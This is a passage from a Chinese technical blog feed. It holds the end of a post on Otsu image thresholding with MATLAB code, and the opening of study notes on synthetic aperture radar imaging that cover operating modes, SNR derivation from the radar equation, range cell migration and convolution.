</div></div><div><div><div>13</div></div><div><span>% 显示结果</span></div></div><div><div><div>14</div></div><div><span>figure;</span></div></div><div><div><div>15</div></div><div><span>subplot(1,2,1); imshow(I);  title('Original');</span></div></div><div><div><div>16</div></div><div><span>subplot(1,2,2); imshow(BW); title(['Otsu (graythresh) level = ', num2str(level)]);</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><code>graythresh</code> 的实现就是 Otsu 单阈值算法。注意它返回的是归一化阈值（相对于 0–1），实际灰度阈值为 <code>T = level * 255</code>。</p><hr /></section><section><h2>2. 手写 Otsu 算法（示例实现）<a href="#2-手写-otsu-算法示例实现"><span>#</span></a></h2><p>下面这段代码不依赖 <code>graythresh</code>，按公式自己算一遍阈值。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>% 读入图像</span></div></div><div><div><div>2</div></div><div><span>I = imread('input.png');</span></div></div><div><div><div>3</div></div><div><span>if size(I,3) == 3</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>I = rgb2gray(I);</span></div></div><div><div><div>5</div></div><div><span>end</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>% 转 double 方便计算（也可以不转）</span></div></div><div><div><div>8</div></div><div><span>I = double(I);</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>% 参数</span></div></div><div><div><div>11</div></div><div><span>L = 256;              % 灰度级数 0~255</span></div></div><div><div><div>12</div></div><div><span>N = numel(I);         % 像素总数</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>% 1. 计算直方图 h(i)</span></div></div><div><div><div>15</div></div><div><span>[counts, ~] = imhist(uint8(I), L);   % counts: 256x1</span></div></div><div><div><div>16</div></div><div><span>p = counts / N;                      % 概率分布 p_i</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>% 2. 累计概率 ω(k) 和 累计均值 μ(k)</span></div></div><div><div><div>19</div></div><div><span>omega = cumsum(p);                   % ω_k</span></div></div><div><div><div>20</div></div><div><span>mu_k  = cumsum((0:L-1)' .* p);       % μ_k 的分子部分</span></div></div><div><div><div>21</div></div><div><span>mu_T  = mu_k(end);                   % 总均值 μ_T</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>% 3. 计算每个可能阈值 t 的类间方差 σ_B^2(t)</span></div></div><div><div><div>24</div></div><div><span>sigma_b2 = zeros(L, 1);</span></div></div><div><div><div>25</div></div><div><span>for t = 1:L</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>if omega(t) == 0 || omega(t) == 1</span></div></div><div><div><div>27</div></div><div><span><span>        </span></span><span>sigma_b2(t) = 0;</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>else</span></div></div><div><div><div>29</div></div><div><span><span>        </span></span><span>sigma_b2(t) = (mu_T * omega(t) - mu_k(t))^2 / (omega(t) * (1 - omega(t)));</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>31</div></div><div><span>end</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>% 4. 找到最大类间方差对应的阈值 t*</span></div></div><div><div><div>34</div></div><div><span>[~, idx] = max(sigma_b2);</span></div></div><div><div><div>35</div></div><div><span>T = idx - 1;      % Matlab 索引从 1 开始，对应灰度 0~255，所以减 1</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>fprintf('Otsu threshold = %d\n', T);</span></div></div><div><div><div>38</div></div><div>
</div></div><div><div><div>39</div></div><div><span>% 5. 按 T 进行二值化</span></div></div><div><div><div>40</div></div><div><span>BW_manual = I &gt; T;</span></div></div><div><div><div>41</div></div><div>
</div></div><div><div><div>42</div></div><div><span>% 显示结果</span></div></div><div><div><div>43</div></div><div><span>figure;</span></div></div><div><div><div>44</div></div><div><span>subplot(1,3,1); imshow(uint8(I));      title('Original');</span></div></div><div><div><div>45</div></div><div><span>subplot(1,3,2); imshow(BW_manual);     title(['Manual Otsu, T = ', num2str(T)]);</span></div></div><div><div><div>46</div></div><div><span>subplot(1,3,3); imhist(uint8(I));      hold on;</span></div></div><div><div><div>47</div></div><div><span>line([T T], ylim, 'LineWidth', 2);     title('Histogram with Otsu T');</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><hr /></section></section>
<section><h1>五、Otsu 算法的特点<a href="#五otsu-算法的特点"><span>#</span></a></h1><section><h2>优点<a href="#优点"><span>#</span></a></h2><ol>
<li>
<p><strong>无参数</strong>：不需要手工指定阈值，自动从数据中估计；</p>
</li>
<li>
<p><strong>实现简单</strong>：只涉及直方图、累积和，计算高效；</p>
</li>
<li>
<p>对于前景和背景灰度分布差异较明显、近似双峰的图像效果很好；</p>
</li>
<li>
<p>被广泛集成到 OpenCV、Matlab 等库中，工程实践非常常见。</p>
</li>
</ol></section><section><h2>局限性<a href="#局限性"><span>#</span></a></h2><ol>
<li>
<p>默认是<strong>单阈值二类分割</strong>，如果图像存在多类（多峰直方图）会不够理想；</p>
</li>
<li>
<p>假设背景和前景在直方图上区分明显，如果图像对比度很低或噪声很多，效果会下降；</p>
</li>
<li>
<p>标准 Otsu 是<strong>全局阈值</strong>，对光照不均匀的图像效果一般（可用局部/自适应方法改进）。</p>
</li>
</ol><hr /></section></section>
<section><h1>六、常见扩展与变体<a href="#六常见扩展与变体"><span>#</span></a></h1><ol>
<li>
<p><strong>多阈值 Otsu（Multi-level Otsu）</strong><br />
不只找一个阈值，而是找多个阈值 <span><span>t1,t2,…t_1,t_2,\ldots</span><span><span><span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span>…</span></span></span></span>，将灰度分成多类，每个类之间的类间方差总和最大。<br />
计算复杂度会显著增加（阈值组合数量多），常配合搜索优化或启发式算法。</p>
</li>
<li>
<p><strong>二维 Otsu（2D Otsu）</strong><br />
不只考虑像素本身的灰度，还加入邻域平均、梯度等信息，用二维直方图计算最佳阈值，能更好对抗噪声，但运算量更大。</p>
</li>
<li>
<p><strong>局部/块级 Otsu</strong><br />
将图像分成小块，对每块单独使用 Otsu 得到局部阈值，适用于光照不均、阴影较重的场景。</p>
</li>
<li>
<p><strong>与其它方法组合</strong><br />
如先做滤波、直方图均衡或对数变换，再用 Otsu；或 Otsu 与形态学处理一起使用，提高分割质量。</p>
</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/sar-imaging-notes/</id>
      <title type="text">《合成孔径雷达成像算法与实现》学习记录</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/sar-imaging-notes/"/>
      <summary type="text">《合成孔径雷达成像算法与实现》学习记录，涵盖 SAR 基础、信号处理与成像算法。</summary>
      <content type="html"><![CDATA[<blockquote><p>参考书目：Digital Processing of Synthetic Aperture Radar Data Algorithms and Implementation</p></blockquote>
<p><code>本部分内容作为本人本科毕业设计和研究生阶段的前置学习内容，方便以后查阅。</code></p>
<section><h1>第一部分 合成孔径雷达基础<a href="#第一部分-合成孔径雷达基础"><span>#</span></a></h1><section><h2>第一章 概论<a href="#第一章-概论"><span>#</span></a></h2><p>SAR的不同工作模式</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td><strong>维度</strong></td><td><strong>条带模式（Stripmap）</strong></td><td><strong>扫描模式（ScanSAR）</strong></td><td><strong>影响/解读</strong></td></tr><tr><td>成像机理</td><td>天线波束指向固定，持续照射同一条带</td><td>在多个子条带/子扇区间按“突发（burst）”方式快速切换照射</td><td>ScanSAR把时间分给多条带，单条带驻留时间缩短</td></tr><tr><td>视幅（覆盖宽度）</td><td>中等（典型数十–一两百 km）</td><td>很宽（典型数百 km）</td><td>ScanSAR为大范围监测而生</td></tr><tr><td>方位分辨率</td><td>较高，稳定（常见米级到十余米）</td><td>较低，随子条带数变粗（常见几十米）</td><td>分辨率与每条带的有效合成长时间成正比</td></tr><tr><td>距离分辨率</td><td>主要由信号带宽决定，二者相当</td><td>同左</td><td>模式差异对距离分辨率影响不大（同带宽条件）</td></tr><tr><td>PRF与多普勒采样</td><td>单一PRF、连续采样，多普勒谱完整</td><td>分段/间歇采样，多普勒谱存在间隔</td><td>ScanSAR需特殊处理以抑制方位模糊与纹理起伏</td></tr><tr><td>辐射定标与均匀性</td><td>良好、均匀</td><td>容易出现burst拼接边界、方位起伏（scalloping）</td><td>需严格定标与均衡处理</td></tr><tr><td>SNR/NEσ⁰</td><td>SNR较高（驻留时间长）</td><td>SNR较低（驻留时间短）</td><td>ScanSAR单位像元集成时间短，噪声等效后向散射略高</td></tr><tr><td>数据率/数据量</td><td>单位面积像素密度高，单景数据量中等</td><td>单位面积像素密度低，但单景覆盖大，总量可能更大</td><td>任务设计需在链路和存储上折中</td></tr><tr><td>时间覆盖能力</td><td>条带宽度有限，重复覆盖速度一般</td><td>同一轨道下“有效重访”更快</td><td>ScanSAR更适合周期性大范围巡查</td></tr><tr><td>干涉测量（InSAR）</td><td>适宜，相干性高、几何稳定</td><td>难度较高，需严格burst同步与几何匹配</td><td>传统ScanSAR不利于高精度InSAR；专门设计的广域干涉模式可改进</td></tr><tr><td>处理复杂度</td><td>处理流程成熟、相对简单</td><td>需burst拼接、多普勒校正、增益均衡等</td><td>地面处理链更复杂</td></tr><tr><td>对几何畸变</td><td>斜视成像常见压缩、叠掩、阴影</td><td>同左，且子条带间几何/辐射可能不连续</td><td>需DEM辅助几何校正</td></tr><tr><td>硬件/波束控制</td><td>可用定向或简单双向稳定</td><td>需快速电子/机械扫描与开关控制</td><td>相控阵/天线开关设计更关键</td></tr><tr><td>典型应用</td><td>目标检测、形变监测、中分辨率制图</td><td>海洋风场/海冰、洪涝与灾害态势、林火/沙尘大范围监测</td><td>分辨率 vs 覆盖的经典取舍</td></tr><tr><td>代表性参数（典型值）</td><td>3–30 m，20–100 km 视幅</td><td>20–100 m，200–500 km 视幅</td><td>实际取决于平台与工作体制</td></tr></tbody></table><p><strong>信噪比（Signal-to-Noise，SNR）</strong></p><p>SAR系统的一个重要参数是图像信噪比。SAR信号的信噪比可以由雷达方程导出。雷达方程表明，雷达接收功率是发射功率、雷达与目标之间的距离，以及许多雷达系统和散射体变量的函数。为建立图像质量与雷达发射功率之间的定量关系，一般将雷达方程表示成图像信噪比的形式，若图像包含分布目标（一般指杂波），则信噪比为</p><span><span><span>SNRclutter=PaveG2λ3σ0c256π3R3KTBTFnLsVsin⁡θiSNR_{clutter}=\frac{P_{ave}G^2\lambda^3\sigma_0c}{256\pi^3R^3KTB_TF_nL_sV\sin{\theta_i}}</span><span><span><span></span><span>S</span><span>N</span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>c</span><span>l</span><span>u</span><span>tt</span><span>er</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>256</span><span><span>π</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span>K</span><span>T</span><span><span>B</span><span><span><span><span><span><span></span><span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>L</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>V</span><span></span><span>sin</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span><span>e</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中<span><span>PaveP_{ave}</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span><span>e</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为平均发射功率，G为天线增益，<span><span>λ\lambda</span><span><span><span></span><span>λ</span></span></span></span>为雷达波长，<span><span>σ0\sigma_0</span><span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为地面目标的归一化后向散射系数，c为光速，R为雷达与反射体的距离，K为玻尔兹曼常数，T为接收机温度，<span><span>BTB_T</span><span><span><span></span><span><span>B</span><span><span><span><span><span><span></span><span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为发射信号带宽，<span><span>FnF_n</span><span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为接收机噪声系数，<span><span>LsL_s</span><span><span><span></span><span><span>L</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为系统损失，V为平台速度，<span><span>θi\theta_i</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为波束入射角。</p><p>雷达方程导出SAR信号的信噪比</p><p>基本假设：单基地脉冲体制、远场点目标、发收共用天线（Gt=Gr=G）、匹配滤波接收，系统等效噪声温度为 Tsys，接收机噪声系数为 F，总损耗为 L。</p><section><h5><strong>1) 从雷达方程得到回波功率</strong><a href="#1-从雷达方程得到回波功率"><span>#</span></a></h5><span><span><span>Pr=Pt G2 λ2 σ(4π)3 R4 LP_r = \frac{P_t\, G^2\, \lambda^2\, \sigma}{(4\pi)^3\, R^4\, L}</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>L</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>σ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中，</p><p>  <span><span>PtP_t</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>：峰值发射功率， <span><span>λ\lambda</span><span><span><span></span><span>λ</span></span></span></span>：波长， R：斜距， L：含传播/系统等综合损耗</p></section><section><h5><strong>2) 噪声功率与匹配滤波</strong><a href="#2-噪声功率与匹配滤波"><span>#</span></a></h5><p>热噪声单边功率谱密度 <span><span>N0=k Tsys FN_0=k\,T_\mathrm{sys}\,F</span><span><span><span></span><span><span>N</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>k</span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span><span>sys</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>F</span></span></span></span>（k 为玻尔兹曼常数）。时宽为 <span><span>τ\tau</span><span><span><span></span><span>τ</span></span></span></span> 的单个脉冲，经匹配滤波器后在抽样点的最优 SNR：</p><span><span><span>SNR≈ErN0=Pr τk Tsys F\mathrm{SNR}\approx \frac{E_r}{N_0}= \frac{P_r\,\tau}{k\,T\mathrm{sys}\,F}</span><span><span><span></span><span><span>SNR</span></span><span></span><span>≈</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>N</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>E</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>k</span><span></span><span>T</span><span><span>sys</span></span><span></span><span>F</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>τ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>代入雷达方程得：</p><span><span><span>SNR=Pt G2 λ2 σ τ(4π)3 R4 k Tsys F L{\mathrm{SNR}=\frac{P_t\,G^2\,\lambda^2\,\sigma\,\tau}{(4\pi)^3\,R^4\,k\,T\mathrm{sys}\,F\,L}}</span><span><span><span></span><span><span><span>SNR</span></span><span></span><span>=</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>k</span><span></span><span>T</span><span><span>sys</span></span><span></span><span>F</span><span></span><span>L</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>σ</span><span></span><span>τ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span></span><blockquote><p>以“时间–带宽积（TBP）”表示，若信号带宽为 B：<span><span>SNR1=Pt G2 λ2 σ(4π)3 R4 k Tsys F L×(τB)\mathrm{SNR}_{1}=\frac{P_t\,G^2\,\lambda^2\,\sigma}{(4\pi)^3\,R^4\,k\,T_{\mathrm{sys}}\,F\,L}\times(\tau B)</span><span><span><span></span><span><span><span>SNR</span></span><span><span><span><span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>k</span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span><span><span>sys</span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>F</span><span></span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>σ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>×</span><span></span></span><span><span></span><span>(</span><span>τ</span><span>B</span><span>)</span></span></span></span></p><p>未压缩矩形脉冲<span><span>B ⁣≈ ⁣1/τ⇒τB ⁣≈ ⁣1B\!\approx\!1/\tau\Rightarrow \tau B\!\approx\!1</span><span><span><span></span><span>B</span><span></span><span></span><span>≈</span><span></span><span></span></span><span><span></span><span>1/</span><span>τ</span><span></span><span>⇒</span><span></span></span><span><span></span><span>τ</span><span>B</span><span></span><span></span><span>≈</span><span></span><span></span></span><span><span></span><span>1</span></span></span></span>；脉冲压缩（如 LFM）给出处理增益 <span><span>τB&gt;1\tau B&gt;1</span><span><span><span></span><span>τ</span><span>B</span><span></span><span>&gt;</span><span></span></span><span><span></span><span>1</span></span></span></span>。</p></blockquote></section><section><h5><strong>3) 多脉冲积累（处理增益）</strong><a href="#3-多脉冲积累处理增益"><span>#</span></a></h5><ul>
<li>
<p><strong>相干积累</strong> N <strong>脉冲</strong>：<span><span>SNR=SNR1 N\displaystyle \mathrm{SNR}=\mathrm{SNR}_{1}\,N</span><span><span><span></span><span><span>SNR</span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span>SNR</span></span><span><span><span><span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>N</span></span></span></span></p>
</li>
<li>
<p><strong>非相干积累</strong> N <strong>脉冲</strong>：<span><span>SNR≈SNR1 N\displaystyle \mathrm{SNR}\approx \mathrm{SNR}_{1}\,\sqrt{N}</span><span><span><span></span><span><span>SNR</span></span><span></span><span>≈</span><span></span></span><span><span></span><span><span><span>SNR</span></span><span><span><span><span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span>N</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span>（精确系数略小于 <span><span>N\sqrt{N}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>N</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span>）</p>
</li>
</ul><p>综合（相干积累为例）：<span><span>SNR=Pt G2 λ2 σ(4π)3 R4 k Tsys F L×(τB)×N{\mathrm{SNR}=\frac{P_t\,G^2\,\lambda^2\,\sigma}{(4\pi)^3\,R^4\,k\,T_\mathrm{sys}\,F\,L}\times(\tau B)\times N}</span><span><span><span></span><span><span><span>SNR</span></span><span></span><span>=</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>k</span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span><span>sys</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>F</span><span></span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>σ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>×</span><span></span><span>(</span><span>τ</span><span>B</span><span>)</span><span></span><span>×</span><span></span><span>N</span></span></span></span></span></p></section><section><h5><strong>4) 分布目标（面目标）与成像体制的替换</strong><a href="#4-分布目标面目标与成像体制的替换"><span>#</span></a></h5><p>分布目标常以<strong>后向散射系数</strong> <span><span>σ0\sigma^0</span><span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span></span></span></span></span></span></span></span> 和<strong>分辨单元面积</strong> <span><span>AresA_\mathrm{res}</span><span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span><span>res</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 替代点目标 <span><span>σ\sigma</span><span><span><span></span><span>σ</span></span></span></span>：<span><span>σ⇒σeq=σ0 Ares\sigma \Rightarrow \sigma_\mathrm{eq}=\sigma^0\,A_\mathrm{res}</span><span><span><span></span><span>σ</span><span></span><span>⇒</span><span></span></span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span><span>eq</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span></span></span></span></span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span><span>res</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></p><p>于是 <span><span>SNR=Pt G2 λ2 (σ0Ares)(4π)3 R4 k Tsys F L×(τB)×(积累增益){\mathrm{SNR}=\frac{P_t\,G^2\,\lambda^2\,(\sigma^0 A_\mathrm{res})}{(4\pi)^3\,R^4\,k\,T_\mathrm{sys}\,F\,L}\times(\tau B)\times \text{(积累增益)}}</span><span><span><span></span><span><span><span>SNR</span></span><span></span><span>=</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>k</span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span><span>sys</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>F</span><span></span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>(</span><span><span>σ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span></span></span></span></span><span><span>A</span><span><span><span><span><span><span></span><span><span><span>res</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>×</span><span></span><span>(</span><span>τ</span><span>B</span><span>)</span><span></span><span>×</span><span></span><span><span>(</span><span>积累增益</span><span>)</span></span></span></span></span></span></p><blockquote><p>在具体体制（如 SAR 条带/ScanSAR）中，<span><span>AresA_\mathrm{res}</span><span><span><span></span><span><span>A</span><span><span><span><span><span><span></span><span><span><span>res</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 与可积累脉冲数的表达不同，但代入思路相同。</p></blockquote><p><strong>距离徒动（Range Cell Migration,RCM）</strong></p><p>由于在合成孔径内传感器的移动，雷达与目标的距离随时间变化，这个变化所引起的回波数据的多普勒频移构成了合成孔径处理的基础。然而，这种距离变化同时也导致了距离徒动现象^1，使数据处理变得更加复杂了。</p><blockquote><p>1 即同一目标在不同脉冲发射周期内，回波信号被接收之后，数据记录位置发生变化的现象。</p></blockquote><p><strong>距离徒动校正（Range Cell Migration Correction,RCMC）</strong></p><p>要点：<strong>不过度增加处理复杂度的同时精确地校正RCM。</strong></p><p>雷达接收到回波以后，就对数据进行采样和存储。数据处理是一个二维过程，但一般分成距离向和方位向两个互相独立的一维处理过程。当回波能量在一个合成孔径时间内沿距离向没有明显的变化时，这种分离是非常简单的。这里的“明显”依赖于距离向的采样密度。如果回波能量分布沿距离向的变化（或称距离徙动）超过了一个距离向采样点（或称距离单元），就认为这种变化是“明显”的，在成像处理时必须加以考虑。</p></section></section><section><h2>第二章 信号处理基础<a href="#第二章-信号处理基础"><span>#</span></a></h2><section><h3>2.2 线性卷积<a href="#22-线性卷积"><span>#</span></a></h3><section><h4>2.2.1 连续时间卷积<a href="#221-连续时间卷积"><span>#</span></a></h4><p>在连续时域内，卷积可写为 <span><span>(y=s∗h)(t)=∫−∞+∞s(u) h(t−u) du=∫−∞+∞s(t−u) h(u) du(y=s*h)(t)=\int_{-\infty}^{+\infty}s(u)\,h(t-u)\,du=\int_{-\infty}^{+\infty}s(t-u)\,h(u)\,du</span><span><span><span></span><span>(</span><span>y</span><span></span><span>=</span><span></span></span><span><span></span><span>s</span><span></span><span>∗</span><span></span></span><span><span></span><span>h</span><span>)</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>+</span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>s</span><span>(</span><span>u</span><span>)</span><span></span><span>h</span><span>(</span><span>t</span><span></span><span>−</span><span></span></span><span><span></span><span>u</span><span>)</span><span></span><span>d</span><span>u</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>+</span><span>∞